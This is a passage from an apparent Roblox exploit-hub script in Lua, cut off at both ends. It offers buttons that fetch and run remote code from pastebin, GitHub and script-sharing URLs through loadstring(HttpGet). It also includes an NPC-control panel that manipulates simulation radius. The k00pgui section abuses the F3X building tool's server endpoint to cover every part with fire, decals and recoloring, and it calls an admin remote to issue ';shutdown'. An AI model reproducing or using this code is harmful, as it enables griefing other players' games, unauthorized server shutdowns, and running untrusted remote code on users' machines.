R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end, }) local Button = MainTab:CreateButton({ Name = "ink monster ( u nead to be R6 )", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/4iKeBDHk"))() end, }) local Button = MainTab:CreateButton({ Name = "1x1x1x1 fe gui", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/Ysxruk5W"))() end, }) local Button = MainTab:CreateButton({ Name = "npc controler", Callback = function() --1. rules: it is forbidden to change the credit name, this script was created by @im_patrick you will be charged dcma for changing the credit --2. rules: changing the code using AI and claiming it as your own is not allowed if patricknpcpanel then return end; patricknpcpanel = true local github = "https://raw.githubusercontent.com/randomstring0/fe-source/refs/heads/main/NPC" local load = loadstring(game:HttpGet(github .. "/module.Luau"))() saved = loadstring(game:HttpGet(github .. "/table.luau"))() local save = saved or {} local g2l = load.G2L local new = load.create() local lighting = game:GetService("Lighting") local tweenservice = game:GetService("TweenService") local rs = game:GetService("RunService") local ws = game:GetService("Workspace") local plrs = game:GetService("Players") local lp = plrs.LocalPlayer local mouse = lp:GetMouse() local fast = TweenInfo.new(.5, Enum.EasingStyle.Exponential) local medium = TweenInfo.new(.67) local slow = TweenInfo.new(.8) local rad = 150 local currentnpc local highlight = Instance.new("Highlight") highlight.Parent = lp highlight.FillTransparency = 1 highlight.OutlineTransparency = 1 local light = function(adornee, color) task.spawn(function() highlight.Adornee = adornee highlight.OutlineColor = color tweenservice:Create(highlight, medium, {OutlineTransparency = 0}):Play() task.wait(.5) tweenservice:Create(highlight, medium, {OutlineTransparency = 1}):Play() end) end local isnpc = function(ins) local humanoid = ins:FindFirstChildOfClass("Humanoid") local player = plrs:GetPlayerFromCharacter(ins) if humanoid and not player then return ins end return nil end new:mainbutton(save["1"].title, save["1"].des, function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then local hum = currentnpc:FindFirstChildOfClass("Humanoid") if hum then hum:ChangeState(save["1"].val) end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end end) new:mainbutton(save["2"].title, save["2"].des, function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then if lp and lp.Character then local char = lp.Character currentnpc:PivotTo(char:GetPivot()) end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end end) new:mainbutton(save["3"].title, save["3"].des, function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part then if lp and lp.Character then local char = lp.Character char:PivotTo(currentnpc:GetPivot()) end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end end) local chr, cons new:maintoggle(save["4"].title, save["4"].des, function(a) if a then if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then if lp and lp.Character then chr = lp.Character lp.Character = currentnpc ws.CurrentCamera.CameraSubject = currentnpc:FindFirstChild("HumanoidRootPart") -- idea from sonle local move = 0.01 cons = rs.PreSimulation:Connect(function() local hum = lp.Character:FindFirstChildOfClass("Humanoid") if lp.Character and hum then hum.RootPart.CFrame += vector.create(0,move,0) move = -move else if cons then cons:Disconnect() cons = nil end end end) end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end else if chr then lp.Character = chr ws.CurrentCamera.CameraSubject = chr.Humanoid chr = nil if cons then cons:Disconnect() cons = nil end end end end) new:mainbutton(save["5"].title, save["5"].des, function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then if lp and lp.Character then local char = lp.Character currentnpc:PivotTo(CFrame.new(0, 1000, 0)) end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end end) new:mainbutton(save["6"].title, save["6"].des, function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then local hum = currentnpc:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = not hum.Sit end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end end) new:mainbutton(save["7"].title, save["7"].des, function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then local hum = currentnpc:FindFirstChildOfClass("Humanoid") if hum then hum:ChangeState(save["7"].val) end else light(currentnpc, Color3.fromRGB(255, 0, 0)) end end end) local con, follownpc follownpc = new:maintoggle(save["8"].title, save["8"].des, function(a) if a then con = rs.RenderStepped:Connect(function() if currentnpc then local part = currentnpc:FindFirstChild("HumanoidRootPart") if part and partowner(part) then local hum = currentnpc:FindFirstChildOfClass("Humanoid") if hum then local hrp=lp.Character:FindFirstChild("HumanoidRootPart") if hrp then hum:MoveTo(hrp.Position + Vector3.new(-4,0,0)) end end else light(currentnpc, Color3.fromRGB(255, 0, 0)) if con then follownpc:swich(false) con:Disconnect() con = nil end end else if con then follownpc:swich(false) con:Disconnect() con = nil end end end) else if con then con:Disconnect() con = nil end end end) local con1 new:extratoggle(save["9"].title, function(a) if a then con1 = rs.Stepped:Connect(function() local hrp1 = lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") if not hrp1 then return end local nbp = ws:GetPartBoundsInRadius(hrp1.Position, 13) for _, part in pairs(nbp) do local model = part:FindFirstAncestorOfClass("Model") if model and isnpc(model) then local npc = model local hrp = npc:FindFirstChild("HumanoidRootPart") if hrp and partowner(hrp) and not hrp.Anchored and npc ~= lp.Character then local hum = npc:FindFirstChildOfClass("Humanoid") if hum then hum:ChangeState(save["9"].val) end end end end end) else if con1 then con1:Disconnect() con1 = nil end end end) local con2 new:extratoggle(save["10"].title, function(a) if a then con2 = rs.Stepped:Connect(function() local hrp1 = lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") if not hrp1 then return end local nbp = ws:GetPartBoundsInRadius(hrp1.Position, 13) for _, part in pairs(nbp) do local model = part:FindFirstAncestorOfClass("Model") if model and isnpc(model) then local npc = model local hrp = npc:FindFirstChild("HumanoidRootPart") if hrp and partowner(hrp) and not hrp.Anchored and npc ~= lp.Character then local hum = npc:FindFirstChildOfClass("Humanoid") if hum then hum:ChangeState(save["10"].val) end end end end end) else if con2 then con2:Disconnect() con2 = nil end end end) mouse.Button1Down:Connect(function() if clicknpc and mouse.Target and mouse.Target.Parent:FindFirstChild("HumanoidRootPart") then if mouse.Target.Parent:FindFirstChild("HumanoidRootPart").Anchored == false then if not plrs:GetPlayerFromCharacter(mouse.Target.Parent) then if partowner(mouse.Target.Parent:FindFirstChild("HumanoidRootPart")) then currentnpc = mouse.Target.Parent light(currentnpc, Color3.fromRGB(0, 255, 0)) else light(mouse.Target.Parent, Color3.fromRGB(255, 0, 0)) end end else light(mouse.Target.Parent, Color3.fromRGB(255, 0, 0)) end end end) rs.RenderStepped:Connect(function() if sethiddenproperty then sethiddenproperty(lp,"SimulationRadius",rad) else lp.SimulationRadius=rad end end) return g2l, require; end, }) local Button = MainTab:CreateButton({ Name = "op admin ( not all games )", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-QuirkyCMD-OP-Script-53762"))() end, }) local Button = MainTab:CreateButton({ Name = "rlly cool c00lgui", Callback = function() -- Notification GUI first local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "C00lkiddNotify" ScreenGui.ResetOnSpawn = false ScreenGui.Parent = PlayerGui local Frame = Instance.new("Frame") Frame.Size = UDim2.new(0, 300, 0, 100) Frame.Position = UDim2.new(0.5, -150, 0.2, 0) Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderSizePixel = 3 Frame.BorderColor3 = Color3.fromRGB(255, 0, 0) Frame.Parent = ScreenGui local TextLabel = Instance.new("TextLabel") TextLabel.Size = UDim2.new(1, 0, 1, 0) TextLabel.BackgroundTransparency = 1 TextLabel.Text = "SCRIPT BY C00LKIDDISKINGNOW" TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0) TextLabel.Font = Enum.Font.SourceSansBold TextLabel.TextSize = 24 TextLabel.Parent = Frame -- Auto-destroy the GUI after a short delay task.delay(3, function() ScreenGui:Destroy() end) -- Then execute your loadstring loadstring(game:HttpGet("https://pastebin.com/raw/p4BTwWL7"))() end, }) local Button = MainTab:CreateButton({ Name = "k00pgui ( u nead f3x for it )", Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Gui to Lua -- Version: 3.2 -- Instances: local k00ply = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local ScrollingFrame = Instance.new("ScrollingFrame") local ImageLabel = Instance.new("ImageLabel") local TextLabel = Instance.new("TextLabel") local TextLabel_2 = Instance.new("TextLabel") local TextLabel_3 = Instance.new("TextLabel") local TextLabel_4 = Instance.new("TextLabel") local _666 = Instance.new("TextButton") local canada = Instance.new("TextButton") local ImageLabel_2 = Instance.new("ImageLabel") local shut = Instance.new("TextButton") local musicbypas10 = Instance.new("TextButton") local musicbypas9 = Instance.new("TextButton") local musicbypas8 = Instance.new("TextButton") local musicbypas7 = Instance.new("TextButton") local decal = Instance.new("TextButton") local gametp = Instance.new("TextButton") local disco = Instance.new("TextButton") local ball = Instance.new("TextButton") local spin = Instance.new("TextButton") local music = Instance.new("TextButton") local musicbypas = Instance.new("TextButton") local TextLabel_5 = Instance.new("TextLabel") local musicbypas3 = Instance.new("TextButton") local musicbypas4 = Instance.new("TextButton") local musicbypas5 = Instance.new("TextButton") local message = Instance.new("TextButton") local stop = Instance.new("TextButton") local k00pk00p = Instance.new("TextButton") local musicbypas6 = Instance.new("TextButton") local kaax = Instance.new("TextButton") local gravityhammer = Instance.new("TextButton") local Destroy = Instance.new("TextButton") local hint = Instance.new("TextButton") local thomas = Instance.new("TextButton") local theme = Instance.new("TextButton") local antileave = Instance.new("TextButton") local eses = Instance.new("TextButton") local dreemy = Instance.new("TextButton") local shamsterky = Instance.new("TextButton") local sky2 = Instance.new("TextButton") local kill = Instance.new("TextButton") local musicbypas10_2 = Instance.new("TextButton") local randcol = Instance.new("TextButton") local unanchor = Instance.new("TextButton") local toad = Instance.new("TextButton") local sky = Instance.new("TextButton") local shut_2 = Instance.new("TextButton") local musicbypas2 = Instance.new("TextButton") local rain = Instance.new("TextButton") local r6 = Instance.new("TextButton") local parts = Instance.new("TextButton") local shed = Instance.new("TextButton") local avatar = Instance.new("TextButton") local avatar_2 = Instance.new("TextButton") local shut_3 = Instance.new("TextButton") --Properties: k00ply.Name = "k00ply" k00ply.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") k00ply.ResetOnSpawn = false Frame.Parent = k00ply Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(1, 53, 10) Frame.BorderSizePixel = 5 Frame.Position = UDim2.new(0.154512331, -49, 0.275485754, -185) Frame.Size = UDim2.new(0, 415, 0, 642) ScrollingFrame.Parent = Frame ScrollingFrame.Active = true ScrollingFrame.BackgroundColor3 = Color3.fromRGB(24, 24, 24) ScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0) ScrollingFrame.Position = UDim2.new(0.0250000004, 0, 0.0219999999, 0) ScrollingFrame.Size = UDim2.new(0, 393, 0, 620) ScrollingFrame.CanvasSize = UDim2.new(0, 0, 1.89999998, 0) ScrollingFrame.ScrollBarThickness = 18 ImageLabel.Parent = ScrollingFrame ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageLabel.BackgroundTransparency = 1.000 ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageLabel.BorderSizePixel = 0 ImageLabel.Size = UDim2.new(1, 0, 1, 0) ImageLabel.Image = "http://www.roblox.com/asset/?id=123724497894158" ImageLabel.ImageTransparency = 0.600 TextLabel.Parent = ImageLabel TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BackgroundTransparency = 1.000 TextLabel.BorderColor3 = Color3.fromRGB(27, 42, 53) TextLabel.Position = UDim2.new(0.272000015, 0, 0.0189999994, 0) TextLabel.Size = UDim2.new(0, 170, 0, 32) TextLabel.Font = Enum.Font.Arial TextLabel.Text = "k00pgui v8 (F3X)" TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel.TextScaled = true TextLabel.TextSize = 14.000 TextLabel.TextWrapped = true TextLabel_2.Parent = TextLabel TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_2.BackgroundTransparency = 1.000 TextLabel_2.BorderColor3 = Color3.fromRGB(27, 42, 53) TextLabel_2.Position = UDim2.new(-0.00465016067, 0, 1.25834417, 0) TextLabel_2.Size = UDim2.new(0, 170, 0, 32) TextLabel_2.Font = Enum.Font.Arial TextLabel_2.Text = "by @k00pkiddAlt [team k00pkidd]" TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel_2.TextScaled = true TextLabel_2.TextSize = 14.000 TextLabel_2.TextWrapped = true TextLabel_3.Parent = TextLabel_2 TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_3.BackgroundTransparency = 1.000 TextLabel_3.BorderColor3 = Color3.fromRGB(27, 42, 53) TextLabel_3.Position = UDim2.new(-0.0282941032, 0, 18.5774994, 0) TextLabel_3.Size = UDim2.new(0, 175, 0, 32) TextLabel_3.Font = Enum.Font.Arial TextLabel_3.Text = "-- BYPASSED AUDIOS --" TextLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel_3.TextScaled = true TextLabel_3.TextSize = 14.000 TextLabel_3.TextWrapped = true TextLabel_4.Parent = TextLabel_2 TextLabel_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_4.BackgroundTransparency = 1.000 TextLabel_4.BorderColor3 = Color3.fromRGB(27, 42, 53) TextLabel_4.Position = UDim2.new(0.442408621, 0, 21.7270947, 0) TextLabel_4.Size = UDim2.new(0, 170, 0, 14) TextLabel_4.Font = Enum.Font.Arial TextLabel_4.Text = "by k00pkiddAlt [team k00pkidd]" TextLabel_4.TextColor3 = Color3.fromRGB(24, 24, 24) TextLabel_4.TextScaled = true TextLabel_4.TextSize = 14.000 TextLabel_4.TextWrapped = true _666.Name = "666" _666.Parent = TextLabel_4 _666.BackgroundColor3 = Color3.fromRGB(0, 0, 0) _666.BorderColor3 = Color3.fromRGB(0, 53, 11) _666.Position = UDim2.new(-0.241176382, 0, -43, 0) _666.Size = UDim2.new(0, 99, 0, 39) _666.Font = Enum.Font.SourceSans _666.Text = "666" _666.TextColor3 = Color3.fromRGB(255, 255, 255) _666.TextScaled = true _666.TextSize = 14.000 _666.TextWrapped = true _666.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end -- main func local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function addfire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } serverendpoint:InvokeServer(unpack(args)) end local function syncfire(part, size, heat) local args = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 30, ["Heat"] = 35 } } } serverendpoint:InvokeServer(unpack(args)) end local function addlight(part, brightness) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "PointLight" } } } serverendpoint:InvokeServer(unpack(args)) end local function synclight(part, brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "PointLight", ["Brightness"] = brightness, ["Color"] = Color3.new(1, 0, 0) } } } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function decalspam() local decalid = "96757457442198" for _, v in ipairs(workspace:GetDescendants()) do if v.Name == "Sky" then print("no") elseif v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() createdecal(v, Enum.NormalId.Front) createdecal(v, Enum.NormalId.Back) createdecal(v, Enum.NormalId.Left) createdecal(v, Enum.NormalId.Right) createdecal(v, Enum.NormalId.Bottom) createdecal(v, Enum.NormalId.Top) setdecal(v, decalid, Enum.NormalId.Front) setdecal(v, decalid, Enum.NormalId.Back) setdecal(v, decalid, Enum.NormalId.Left) setdecal(v, decalid, Enum.NormalId.Right) setdecal(v, decalid, Enum.NormalId.Bottom) setdecal(v, decalid, Enum.NormalId.Top) end) end end end local function lightall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() addlight(v) synclight(v, 15) end) end end end local function colorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() color(v, Color3.new(0.0666667, 0.0666667, 0.0666667)) end) end end end local function sky666() spawn(function() local position = char.Head.Position local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(position + Vector3.new(0, 2, 0)), workspace) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://8006679977" } } } serverendpoint:InvokeServer(unpack(args)) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = Vector3.new(90, 90, 90) } } } serverendpoint:InvokeServer(unpack(args)) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://15849970412" } } } serverendpoint:InvokeServer(unpack(args)) name(part, "Sky") lock(part, true) setcollision(part, false) end) end local function fireall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() addfire(v) syncfire(v) end) end end end local function sixsixsix() fireall() sky666() decalspam() colorall() lightall() end sixsixsix() end) canada.Name = "canada" canada.Parent = TextLabel_4 canada.BackgroundColor3 = Color3.fromRGB(0, 0, 0) canada.BorderColor3 = Color3.fromRGB(0, 53, 11) canada.Position = UDim2.new(-0.86517638, 0, -12.5, 0) canada.Size = UDim2.new(0, 99, 0, 39) canada.Font = Enum.Font.SourceSans canada.Text = "Canada Spam" canada.TextColor3 = Color3.fromRGB(255, 255, 255) canada.TextScaled = true canada.TextSize = 14.000 canada.TextWrapped = true canada.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("106517933385903") end) ImageLabel_2.Parent = TextLabel_4 ImageLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageLabel_2.BackgroundTransparency = 1.000 ImageLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageLabel_2.BorderSizePixel = 0 ImageLabel_2.Position = UDim2.new(0.388235301, 0, 25.1428566, 0) ImageLabel_2.Size = UDim2.new(0, 100, 0, 100) ImageLabel_2.Image = "http://www.roblox.com/asset/?id=123724497894158" shut.Name = "shut" shut.Parent = TextLabel_4 shut.BackgroundColor3 = Color3.fromRGB(0, 0, 0) shut.BorderColor3 = Color3.fromRGB(0, 53, 11) shut.Position = UDim2.new(0.75, 0, -52.4290009, 0) shut.Size = UDim2.new(0, 53, 0, 24) shut.Font = Enum.Font.SourceSans shut.Text = "Shutdown" shut.TextColor3 = Color3.fromRGB(255, 255, 255) shut.TextScaled = true shut.TextSize = 14.000 shut.TextWrapped = true shut.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";shutdown") end) musicbypas10.Name = "music bypas 10" musicbypas10.Parent = TextLabel_4 musicbypas10.Active = false musicbypas10.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas10.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas10.Position = UDim2.new(-0.25311783, 0, -22.7857151, 400) musicbypas10.Size = UDim2.new(0, 99, 0, 39) musicbypas10.Font = Enum.Font.SourceSans musicbypas10.Text = "real g00byyyy!!! theme" musicbypas10.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas10.TextScaled = true musicbypas10.TextSize = 14.000 musicbypas10.TextWrapped = true musicbypas10.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1847661821") end) musicbypas9.Name = "music bypas 9" musicbypas9.Parent = TextLabel_4 musicbypas9.Active = false musicbypas9.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas9.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas9.Position = UDim2.new(0.38188225, 0, -22.7857151, 350) musicbypas9.Size = UDim2.new(0, 99, 0, 39) musicbypas9.Font = Enum.Font.SourceSans musicbypas9.Text = "DELETED" musicbypas9.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas9.TextScaled = true musicbypas9.TextSize = 14.000 musicbypas9.TextWrapped = true musicbypas8.Name = "music bypas 8" musicbypas8.Parent = TextLabel_4 musicbypas8.Active = false musicbypas8.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas8.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas8.Position = UDim2.new(-0.25311783, 0, -22.7857151, 350) musicbypas8.Size = UDim2.new(0, 99, 0, 39) musicbypas8.Font = Enum.Font.SourceSans musicbypas8.Text = "monster mash!!1" musicbypas8.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas8.TextScaled = true musicbypas8.TextSize = 14.000 musicbypas8.TextWrapped = true musicbypas8.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 35930009") end) musicbypas7.Name = "music bypas 7" musicbypas7.Parent = TextLabel_4 musicbypas7.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas7.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas7.Position = UDim2.new(-0.870117545, 0, -22.7857151, 350) musicbypas7.Size = UDim2.new(0, 99, 0, 39) musicbypas7.Font = Enum.Font.SourceSans musicbypas7.Text = "gangsta's paradise remix funny" musicbypas7.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas7.TextScaled = true musicbypas7.TextSize = 14.000 musicbypas7.TextWrapped = true musicbypas7.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 5228173823") end) decal.Name = "decal" decal.Parent = TextLabel_4 decal.BackgroundColor3 = Color3.fromRGB(0, 0, 0) decal.BorderColor3 = Color3.fromRGB(0, 53, 11) decal.Position = UDim2.new(-0.864705801, 0, -46.5, 0) decal.Size = UDim2.new(0, 99, 0, 39) decal.Font = Enum.Font.SourceSans decal.Text = "Decal" decal.TextColor3 = Color3.fromRGB(255, 255, 255) decal.TextScaled = true decal.TextSize = 14.000 decal.TextWrapped = true decal.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", 